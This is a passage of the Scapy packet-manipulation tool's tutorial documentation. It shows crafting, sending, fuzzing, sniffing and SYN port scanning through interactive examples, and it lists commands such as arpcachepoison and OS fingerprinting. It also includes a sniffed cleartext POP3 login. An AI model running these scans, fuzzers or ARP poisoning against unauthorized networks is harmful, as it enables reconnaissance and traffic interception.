.....P........P. 20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78 ..9..GET /index 2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A .html HTTP/1.0 . 0A . >>> b=raw(a) >>> b '\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0 \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00 \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n' >>> c=Ether(b) >>> c >>> We see that a dissected packet has all its fields filled. That's because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default:: >>> c.hide_defaults() >>> c >>> Reading PCAP files ------------------ .. index:: single: rdpcap() You can read packets from a pcap file and write them to a pcap file. >>> a=rdpcap("/spare/captures/isakmp.cap") >>> a Graphical dumps (PDF, PS) ------------------------- .. index:: single: pdfdump(), psdump() If you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality...):: >>> a[423].pdfdump(layer_shift=1) >>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1) .. image:: graphics/isakmp_dump.png ======================= ==================================================== Command Effect ======================= ==================================================== raw(pkt) assemble the packet hexdump(pkt) have a hexadecimal dump ls(pkt) have the list of fields values pkt.summary() for a one-line summary pkt.show() for a developed view of the packet pkt.show2() same as show but on the assembled packet (checksum is calculated, for instance) pkt.sprintf() fills a format string with fields values of the packet pkt.decode_payload_as() changes the way the payload is decoded pkt.psdump() draws a PostScript diagram with explained dissection pkt.pdfdump() draws a PDF with explained dissection pkt.command() return a Scapy command that can generate the packet ======================= ==================================================== Generating sets of packets -------------------------- For the moment, we have only generated one packet. Let see how to specify sets of packets as easily. Each field of the whole packet (ever layers) can be a set. This implicitly defines a set of packets, generated using a kind of cartesian product between all the fields. :: >>> a=IP(dst="www.slashdot.org/30") >>> a >>> [p for p in a] [, , , ] >>> b=IP(ttl=[1,2,(5,9)]) >>> b >>> [p for p in b] [, , , , , , ] >>> c=TCP(dport=[80,443]) >>> [p for p in a/c] [>, >, >, >, >, >, >, >] Some operations (like building the string from a packet) can't work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet. =============== ==================================================== Command Effect =============== ==================================================== summary() displays a list of summaries of each packet nsummary() same as previous, with the packet number conversations() displays a graph of conversations show() displays the preferred representation (usually nsummary()) filter() returns a packet list filtered with a lambda function hexdump() returns a hexdump of all packets hexraw() returns a hexdump of the Raw layer of all packets padding() returns a hexdump of packets with padding nzpadding() returns a hexdump of packets with non-zero padding plot() plots a lambda function applied to the packet list make table() displays a table according to a lambda function =============== ==================================================== Sending packets --------------- .. index:: single: Sending packets, send Now that we know how to manipulate packets. Let's see how to send them. The send() function will send packets at layer 3. That is to say, it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It's up to you to choose the right interface and the right link layer protocol. send() and sendp() will also return sent packet list if return_packets=True is passed as parameter. :: >>> send(IP(dst="1.2.3.4")/ICMP()) . Sent 1 packets. >>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1") .... Sent 4 packets. >>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2) ................^C Sent 16 packets. >>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay ........... Sent 11 packets. Returns packets sent by send() >>> send(IP(dst='127.0.0.1'), return_packets=True) . Sent 1 packets. Fuzzing ------- .. index:: single: fuzz(), fuzzing The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables quickly building fuzzing templates and sending them in a loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized. Note: If you use fuzz() in IP layer, src and dst parameter won't be random so in order to do that use RandIP().:: >>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1) ................^C Sent 16 packets. Send and receive packets (sr) ----------------------------- .. index:: single: sr() Now, let's try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only returns one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.). If there is no response, a None value will be assigned instead when the timeout is reached. :: >>> p = sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX") Begin emission: ...Finished to send 1 packets. .* Received 5 packets, got 1 answers, remaining 0 packets >>> p >>> >>> p.show() ---[ IP ]--- version = 4L ihl = 5L tos = 0x0 len = 39 id = 15489 flags = frag = 0L ttl = 42 proto = ICMP chksum = 0x51dd src = 66.35.250.151 dst = 192.168.5.21 options = '' ---[ ICMP ]--- type = echo-reply code = 0 chksum = 0xee45 id = 0x0 seq = 0x0 ---[ Raw ]--- load = 'XXXXXXXXXXX' ---[ Padding ]--- load = '\x00\x00\x00\x00' .. index:: single: DNS, Etherleak A DNS query (``rd`` = recursion desired). The host 192.168.5.1 is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw:: >>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org"))) Begin emission: Finished to send 1 packets. ..* Received 3 packets, got 1 answers, remaining 0 packets an= ns=0 ar=0 |>>> The "send'n'receive" functions family is the heart of Scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions:: >>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23])) Received 6 packets, got 3 answers, remaining 0 packets (, ) >>> ans, unans = _ >>> ans.summary() IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding If there is a limited rate of answers, you can specify a time interval (in seconds) to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, Scapy will try to resend unanswered packets 3 times. If retry is -3, Scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent:: >>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1) Begin emission: Finished to send 12 packets. Begin emission: Finished to send 9 packets. Begin emission: Finished to send 9 packets. Received 100 packets, got 3 answers, remaining 9 packets (, ) SYN Scans --------- .. index:: single: SYN Scan Classic SYN Scan can be initialized by executing the following command from Scapy's prompt:: >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S")) The above will send a single SYN packet to Google's port 80 and will quit after receiving a single response:: Begin emission: .Finished to send 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >> From the above output, we can see Google returned “SA†or SYN-ACK flags indicating an open port. Use either notations to scan ports 400 through 443 on the system: >>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S")) or >>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S")) In order to quickly review responses simply request a summary of collected packets:: >>> ans, unans = _ >>> ans.summary() IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop: >>> ans.summary( lambda s,r: r.sprintf("%TCP.sport% \t %TCP.flags%") ) 440 RA 441 RA 442 RA https SA Even better, a table can be built using the ``make_table()`` function to display information about multiple targets:: >>> ans, unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S")) Begin emission: .......*.**.......Finished to send 9 packets. **.*.*..*.................. Received 362 packets, got 8 answers, remaining 1 packets >>> ans.make_table( ... lambda s,r: (s.dst, s.dport, ... r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}"))) 66.35.250.150 192.168.1.1 216.109.112.135 22 66.35.250.150 - dest-unreach RA - 80 SA RA SA 443 SA SA SA The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP. For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA†flag set:: >>> ans.nsummary(lfilter = lambda s,r: r.sprintf("%TCP.flags%") == "SA") 0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open:: >>> ans.summary(lfilter = lambda s,r: r.sprintf("%TCP.flags%") == "SA",prn=lambda s,r: r.sprintf("%TCP.sport% is open")) https is open Again, for larger scans we can build a table of open ports:: >>> ans.filter(lambda s,r: TCP in r and r[TCP].flags&2).make_table(lambda s,r: ... (s.dst, s.dport, "X")) 66.35.250.150 192.168.1.1 216.109.112.135 80 X - X 443 X X X If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results:: >>> report_ports("192.168.1.1",(440,443)) Begin emission: ...*.**Finished to send 4 packets. * Received 8 packets, got 4 answers, remaining 0 packets '\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440 & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed & TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n' TCP traceroute -------------- .. index:: single: Traceroute A TCP traceroute:: >>> ans, unans = sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2)) *****.******.*.***..*.**Finished to send 22 packets. ***...... Received 33 packets, got 21 answers, remaining 1 packets >>> for snd,rcv in ans: ... print snd.ttl, rcv.src, isinstance(rcv.payload, TCP) ... 5 194.51.159.65 0 6 194.51.159.49 0 4 194.250.107.181 0 7 193.251.126.34 0 8 193.251.126.154 0 9 193.251.241.89 0 10 193.251.241.110 0 11 193.251.241.173 0 13 208.172.251.165 0 12 193.251.241.173 0 14 208.172.251.165 0 15 206.24.226.99 0 16 206.24.238.34 0 17 173.109.66.90 0 18 173.109.88.218 0 19 173.29.39.101 1 20 173.29.39.101 1 21 173.29.39.101 1 22 173.29.39.101 1 23 173.29.39.101 1 24 173.29.39.101 1 Note that the TCP traceroute and some other high-level functions are already coded:: >>> lsc() sr : Send and receive packets at layer 3 sr1 : Send packets at layer 3 and return only the first answer srp : Send and receive packets at layer 2 srp1 : Send and receive packets at layer 2 and return only the first answer srloop : Send a packet at layer 3 in loop and print the answer each time srploop : Send a packet at layer 2 in loop and print the answer each time sniff : Sniff packets p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ? arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple send : Send packets at layer 3 sendp : Send packets at layer 2 traceroute : Instant TCP traceroute arping : Send ARP who-has requests to determine which hosts are up ls : List available layers, or infos on a given layer lsc : List user commands queso : Queso OS fingerprinting nmap_fp : nmap fingerprinting report_ports : portscan a target and output a LaTeX table dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_del : Send a DNS delete message to a nameserver for "name" [...] Scapy may also use the GeoIP2 module, in combination with matplotlib and `cartopy `_ to generate fancy graphics such as below: .. image:: graphics/traceroute_worldplot.png In this example, we used the `traceroute_map()` function to print the graphic. This method is a shortcut which uses the `world_trace` of the `TracerouteResult` objects. It could have been done differently: >>> conf.geoip_city = "path/to/GeoLite2-City.mmdb" >>> a = traceroute(["www.google.co.uk", "www.secdev.org"], verbose=0) >>> a.world_trace() or such as above: >>> conf.geoip_city = "path/to/GeoLite2-City.mmdb" >>> traceroute_map(["www.google.co.uk", "www.secdev.org"]) To use those functions, it is required to have installed the `geoip2 `_ module, `its database `_ (`direct download `_) but also the `cartopy `_ module. Configuring super sockets ------------------------- .. index:: single: super socket Different super sockets are available in Scapy: the **native** ones, and the ones that use **libpcap** (to send/receive packets). By default, Scapy will try to use the native ones (*except on Windows, where the winpcap/npcap ones are preferred*). To manually use the **libpcap** ones, you must: * On Unix/OSX: be sure to have libpcap installed. * On Windows: have Npcap/Winpcap installed. (default) Then use:: >>> conf.use_pcap = True This will automatically update the sockets pointing to ``conf.L2socket`` and ``conf.L3socket``. If you want to manually set them, you have a bunch of sockets available, depending on your platform. For instance, you might want to use:: >>> conf.L3socket=L3pcapSocket # Receive/send L3 packets through libpcap >>> conf.L2listen=L2ListenTcpdump # Receive L2 packets through TCPDump Sniffing -------- .. index:: single: sniff() We can easily capture some packets or even clone tcpdump or tshark. Either one interface or a list of interfaces to sniff on can be provided. If no interface is given, sniffing will happen on ``conf.iface``:: >>> sniff(filter="icmp and host 66.35.250.151", count=2) >>> a=_ >>> a.nsummary() 0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw 0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw >>> a[1] >>> >>> sniff(iface="wifi0", prn=lambda x: x.summary()) 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication 802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication 802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149 802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding 802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding 802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw 802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw >>> sniff(iface="eth1", prn=lambda x: x.show()) ---[ Ethernet ]--- dst = 00:ae:f3:52:aa:d1 src = 00:02:15:37:a2:44 type = 0x800 ---[ IP ]--- version = 4L ihl = 5L tos = 0x0 len = 84 id = 0 flags = DF frag = 0L ttl = 64 proto = ICMP chksum = 0x3831 src = 192.168.5.21 dst = 66.35.250.151 options = '' ---[ ICMP ]--- type = echo-request code = 0 chksum = 0x89d9 id = 0xc245 seq = 0x0 ---[ Raw ]--- load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' ---[ Ethernet ]--- dst = 00:02:15:37:a2:44 src = 00:ae:f3:52:aa:d1 type = 0x800 ---[ IP ]--- version = 4L ihl = 5L tos = 0x0 len = 84 id = 2070 flags = frag = 0L ttl = 42 proto = ICMP chksum = 0x861b src = 66.35.250.151 dst = 192.168.5.21 options = '' ---[ ICMP ]--- type = echo-reply code = 0 chksum = 0x91d9 id = 0xc245 seq = 0x0 ---[ Raw ]--- load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' ---[ Padding ]--- load = '\n_\x00\x0b' >>> sniff(iface=["eth1","eth2"], prn=lambda x: x.sniffed_on+": "+x.summary()) eth3: Ether / IP / ICMP 192.168.5.21 > 66.35.250.151 echo-request 0 / Raw eth3: Ether / IP / ICMP 66.35.250.151 > 192.168.5.21 echo-reply 0 / Raw eth2: Ether / IP / ICMP 192.168.5.22 > 66.35.250.152 echo-request 0 / Raw eth2: Ether / IP / ICMP 66.35.250.152 > 192.168.5.22 echo-reply 0 / Raw For even more control over displayed information we can use the ``sprintf()`` function:: >>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}")) 192.168.1.100 -> 64.233.167.99 64.233.167.99 -> 192.168.1.100 192.168.1.100 -> 64.233.167.99 192.168.1.100 -> 64.233.167.99 'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml, text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nCache-Control: max-age=0\r\n\r\n' We can sniff and do passive OS fingerprinting:: >>> p >> >>> load_module("p0f") >>> p0f(p) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) >>> a=sniff(prn=prnp0f) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) (0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)']) (1.0, ['Windows 2000 (9)']) The number before the OS guess is the accuracy of the guess. Asynchronous Sniffing --------------------- .. index:: single: AsyncSniffer() .. note:: Asynchronous sniffing is only available since **Scapy 2.4.3** .. warning:: Asynchronous sniffing does not necessarily improves performance (it's rather the opposite). If you want to sniff on multiple interfaces / socket, remember you can pass them all to a single `sniff()` call It is possible to sniff asynchronously. This allows to stop the sniffer programmatically, rather than with ctrl^C. It provides ``start()``, ``stop()`` and ``join()`` utils. The basic usage would be: .. code-block:: python >>> t = AsyncSniffer() >>> t.start() >>> print("hey") hey [...] >>> results = t.stop() .. image:: graphics/animations/animation-scapy-asyncsniffer.svg The ``AsyncSniffer`` class has a few useful keys, such as ``results`` (the packets collected) or ``running``, that can be used. It accepts the same arguments than ``sniff()`` (in fact, their implementations are merged). For instance: .. code-block:: python >>> t = AsyncSniffer(iface="enp0s3", count=200) >>> t.start() >>> t.join() # this will hold until 200 packets are collected >>> results = t.results >>> print(len(results)) 200 Another example: using ``prn`` and ``store=False`` .. code-block:: python >>> t = AsyncSniffer(prn=lambda x: x.summary(), store=False, filter="tcp") >>> t.start() >>> time.sleep(20) >>> t.stop() Advanced Sniffing - Sniffing Sessions ------------------------------------- .. note:: Sessions are only available since **Scapy 2.4.3** ``sniff()`` also provides **Sessions**, that allows to dissect a flow of packets seamlessly. For instance, you may want your ``sniff(prn=...)`` function to automatically defragment IP packets, before executing the ``prn``. Scapy includes some basic Sessions, but it is possible to implement your own. Available by default: - :py:class:`~scapy.sessions.IPSession` -> *defragment IP packets* on-the-flow, to make a stream usable by ``prn``. - :py:class:`~scapy.sessions.TCPSession` -> *defragment certain TCP protocols*. Currently supports: - HTTP 1.0 - TLS - :py:class:`~scapy.sessions.TLSSession` -> *matches TLS sessions* on the flow. - :py:class:`~scapy.sessions.NetflowSession` -> *resolve Netflow V9 packets* from their NetflowFlowset information objects Those sessions can be used using the ``session=`` parameter of ``sniff()``. Examples:: >>> sniff(session=IPSession, iface="eth0") >>> sniff(session=TCPSession, prn=lambda x: x.summary(), store=False) >>> sniff(offline="file.pcap", session=NetflowSession) .. note:: To implement your own Session class, in order to support another flow-based protocol, start by copying a sample from `scapy/sessions.py `_ Your custom ``Session`` class only needs to extend the :py:class:`~scapy.sessions.DefaultSession` class, and implement a ``on_packet_received`` function, such as in the example. .. note:: Would you need it, you can use: ``class TLS_over_TCP(TLSSession, TCPSession): pass`` to sniff TLS packets that are defragmented. How to use TCPSession to defragment TCP packets ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ The layer on which the decompression is applied must be immediately following the TCP layer. You need to implement a class function called ``tcp_reassemble`` that accepts the binary data and a metada dictionary as argument and returns, when full, a packet. Let's study the (pseudo) example of TLS: .. code:: class TLS(Packet): [...] @classmethod def tcp_reassemble(cls, data, metadata): length = struct.unpack("!H", data[3:5])[0] + 5 if len(data) == length: return TLS(data) In this example, we first get the total length of the TLS payload announced by the TLS header, and we compare it to the length of the data. When the data reaches this length, the packet is complete and can be returned. When implementing ``tcp_reassemble``, it's usually a matter of detecting when a packet isn't missing anything else. The ``data`` argument is bytes and the ``metadata`` argument is a dictionary which keys are as follow: - ``metadata["pay_class"]``: the TCP payload class (here TLS) - ``metadata.get("tcp_psh", False)``: will be present if the PUSH flag is set - ``metadata.get("tcp_end", False)``: will be present if the END or RESET flag is set Filters ------- .. index:: single: filter, sprintf() Demo of both bpf filter and sprintf() method:: >>> a=sniff(filter="tcp and ( port 25 or port 110 )", prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%")) 192.168.8.10:47226 -> 213.228.0.14:110 S : 213.228.0.14:110 -> 192.168.8.10:47226 SA : 192.168.8.10:47226 -> 213.228.0.14:110 A : 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK <13103.1048117923@pop2-1.free.fr> 192.168.8.10:47226 -> 213.228.0.14:110 A : 192.168.8.10:47226 -> 213.228.0.14:110 PA : USER toto 213.228.0.14:110 -> 192.168.8.10:47226 A : 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK 192.168.8.10:47226 -> 213.228.0.14:110 A : 192.168.8.10:47226 -> 213.228.0.14:110 PA : PASS tata 213.228.0.14:110 -> 192.168.8.10:47226 PA : -ERR authorization failed 192.168.8.10:47226 -> 213.228.0.14:110 A : 213.228.0.14:110 -> 192.168.8.10:47226 FA : 192.168.8.10:47226 -> 213.228.0.14:110 FA : 213.228.0.14:110 -> 192.168.8.10:47226 A : Send and receive in a loop -------------------------- .. index:: single: srloop() Here is an example of a (h)ping-like functionality : you always send the same set of packets to see if something change:: >>> srloop(IP(dst="www.target.com/30")/TCP()) RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S .. _import-export: Importing and Exporting Data ---------------------------- PCAP ^^^^ It is often useful to save capture packets to pcap file for use at later time or with different applications:: >>> wrpcap("temp.cap",pkts) To restore previously saved pcap file: >>> pkts = rdpcap("temp.cap") or >>> pkts = sniff(offline="temp.cap") Hexdump ^^^^^^^ Scapy allows you to export recorded packets in various hex formats. Use ``hexdump()`` to display one or more packets using classic hexdump format:: >>> hexdump(pkt) 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 0060 36 37 67 Hexdump above can be reimported back into Scapy using ``import_hexcap()``:: >>> pkt_hex = Ether(import_hexcap()) 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 0060 36 37 67 >>> pkt_hex >>> Binary string ^^^^^^^^^^^^^ You can also convert entire packet into a binary string using the ``raw()`` function:: >>> pkts = sniff(count = 1) >>> pkt = pkts[0] >>> pkt >>> >>> pkt_raw = raw(pkt) >>> pkt_raw '\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8 \x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00 \x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b \x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567' We can reimport the produced binary string by selecting the appropriate first layer (e.g. ``Ether()``). >>> new_pkt = Ether(pkt_raw) >>> new_pkt >>> Base64 ^^^^^^ Using the ``export_object()`` function, Scapy can export a base64 encoded Python data structure representing a packet:: >>> pkt >>> >>> export_object(pkt) eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 ... The output above can be reimported back into Scapy using ``import_object()``:: >>> new_pkt = import_object() eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 ... >>> new_pkt >>> Sessions ^^^^^^^^ At last Scapy is capable of saving all session variables using the ``save_session()`` function: >>> dir() ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts'] >>> save_session("session.scapy") Next time you start Scapy you can load the previous saved session using the ``load_session()`` command:: >>> dir() ['__builtins__', 'conf'] >>> load_session("session.scapy") >>> dir() ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts'] Making tables ------------- .. index:: single: tables, make_table() Now we have a demonstration of the ``make_table()`` presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, ``make_lined_table()`` and ``make_tex_table()`` to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object : Here we can see a multi-parallel traceroute (Scapy already has a multi TCP traceroute function. See later):: >>> ans, unans = sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP()) Received 49 packets, got 24 answers, remaining 0 packets >>> ans.make_table( lambda s,r: (s.dst, s.ttl, r.src) ) 216.15.189.192 